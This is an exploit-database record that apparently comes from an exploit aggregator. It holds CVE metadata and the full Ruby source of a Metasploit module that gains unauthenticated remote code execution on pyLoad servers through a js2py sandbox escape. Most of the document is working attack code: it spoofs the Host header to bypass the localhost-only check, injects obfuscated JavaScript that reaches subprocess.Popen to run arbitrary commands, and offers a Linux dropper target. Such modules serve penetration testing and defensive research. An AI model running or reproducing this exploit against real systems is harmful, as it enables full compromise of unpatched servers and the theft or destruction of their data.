{"exploit":{"id":"MSF-linux--http--pyload_js2py_cve_2024_39205","name":"Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)","description":"CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74 is the latest version of js2py which was released Nov 6, 2022. CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source download manager designed to automate file downloads from various online sources. Pyload is vulnerable because it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint. This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we can bypass this restriction in order to access the API to achieve unauth RCE.","cves":["CVE-2024-39205","CVE-2024-28397"],"author":"Marven11, Spencer McIntyre, jheysel-r7","published":"2024-10-28","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb","path":"modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"pyload_js2py_cve_2024_39205.rb","vulnerabilities":[{"id":"CVE-2024-39205","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-39205","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-39205"},"updatedAt":"2024-10-30T20:56:49.427Z","retrievedAt":"2026-11-25T17:51:11.483Z","stale":false,"error":null},{"id":"CVE-2024-28397","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue in the component js2py.disable_pyimport() of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-28397","cvss":{"version":"3.1","baseScore":5.3,"severity":"medium","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-28397"},"updatedAt":"2024-08-02T00:56:57.584Z","retrievedAt":"2026-11-25T16:15:50.552Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--pyload_js2py_cve_2024_39205.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--pyload_js2py_cve_2024_39205","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--pyload_js2py_cve_2024_39205/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--pyload_js2py_cve_2024_39205/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)',\n        'Description' => %q{\n          CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate\n          javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference\n          to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions\n          and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74\n          is the latest version of js2py which was released Nov 6, 2022.\n\n          CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source\n          download manager designed to automate file downloads from various online sources. Pyload is vulnerable because\n          it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.\n          This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we\n          can bypass this restriction in order to access the API to achieve unauth RCE.\n        },\n        'Author' => [\n          'Marven11',          # PoC\n          'Spencer McIntyre',  # Previous pyLoad module which this is based on\n          'jheysel-r7'         # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2024-39205' ],\n          [ 'CVE', '2024-28397' ],\n          [ 'EDB', '52532' ],\n          [ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ],\n          [ 'GHSA', 'w7hq-f2pj-c53g', 'pyload/pyload' ],\n          [ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ],\n        ],\n        'DisclosureDate' => '2024-10-28',\n        'License' => MSF_LICENSE,\n        'Privileged' => true,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => %w[unix linux],\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(9666),\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end\n\n  def check\n    sleep_time = rand(5..10)\n\n    _, elapsed_time = Rex::Stopwatch.elapsed_time do\n      execute_command(\"sleep #{sleep_time}\")\n    end\n\n    vprint_status(\"Elapsed time: #{elapsed_time} seconds\")\n\n    unless elapsed_time > sleep_time\n      return CheckCode::Safe('Failed to test command injection.')\n    end\n\n    CheckCode::Vulnerable('Successfully tested command injection.')\n  rescue Msf::Exploit::Failed\n    return CheckCode::Safe('Failed to test command injection.')\n  end\n\n  def exploit\n    print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n    case target['Type']\n    when :unix_cmd\n      if execute_command(payload.encoded)\n        print_good(\"Successfully executed command: #{payload.encoded}\")\n      end\n    when :linux_dropper\n      execute_cmdstager\n    end\n  end\n\n  def javascript_payload(cmd)\n    js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })\n\n    js = <<~EOS\n      let #{js_vars[:command]} = \"#{cmd}\"\n      let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]}\n      let #{js_vars[:getattr]}, #{js_vars[:obj]}\n\n      #{js_vars[:base]} = '__base__'\n      #{js_vars[:getattribute]} = '__getattribute__'\n      #{js_vars[:hacked]} = Object.getOwnPropertyNames({})\n      #{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}]\n      #{js_vars[:n11]} = #{js_vars[:bymarve]}(\"__getattribute__\")\n      #{js_vars[:obj]} = #{js_vars[:n11]}(\"__class__\")[#{js_vars[:base]}]\n      #{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}]\n      #{js_vars[:sub_class]} = '__subclasses__';\n\n      function #{js_vars[:findpopen]}(#{js_vars[:o]}) {\n          let #{js_vars[:result]};\n          for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) {\n              let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}]\n              if(#{js_vars[:item]}.__module__ == \"subprocess\" && #{js_vars[:item]}.__name__ == \"Popen\") {\n                  return #{js_vars[:item]}\n              }\n              if(#{js_vars[:item]}.__name__ != \"type\" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) {\n                  return #{js_vars[:result]}\n              }\n          }\n      }\n\n      #{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate()\n    EOS\n\n    opts = { 'Strings' => true }\n\n    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)\n    js.obfuscate(memory_sensitive: true)\n    js.to_s\n  end\n\n  def execute_command(cmd, _opts = {})\n    cmd.gsub!(/\\\\/, '\\\\\\\\\\\\\\\\')\n    cmd.gsub!(/\"/, '\\\"')\n    vprint_status(\"Executing command: #{cmd}\")\n    crypted_b64 = Rex::Text.encode_base64(rand(4))\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'headers' => {\n        'Host' => \"127.0.0.1:#{datastore['RPORT']}\"\n      },\n      'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),\n      'vars_post' => {\n        'crypted' => crypted_b64,\n        'jk' => javascript_payload(cmd)\n      }\n    )\n\n    # The command will either cause the response to timeout or return a 500\n    return if res.nil?\n    return if res.code == 500 && res.get_xml_document.xpath('//title').text == 'Sorry, something went wrong... :('\n\n    fail_with(Failure::UnexpectedReply, \"The HTTP server replied with a status of #{res.code}\")\n  end\n\nend\n","sha256":"e7a0026f1695ff90d9b2fd81c0c15ebfdecc2b47fef331ff6d77593877e4f854","bytes":6463,"fetchedAt":"2026-11-26T11:31:10.969Z","encoding":"utf-8 (display only; download retains original bytes)"}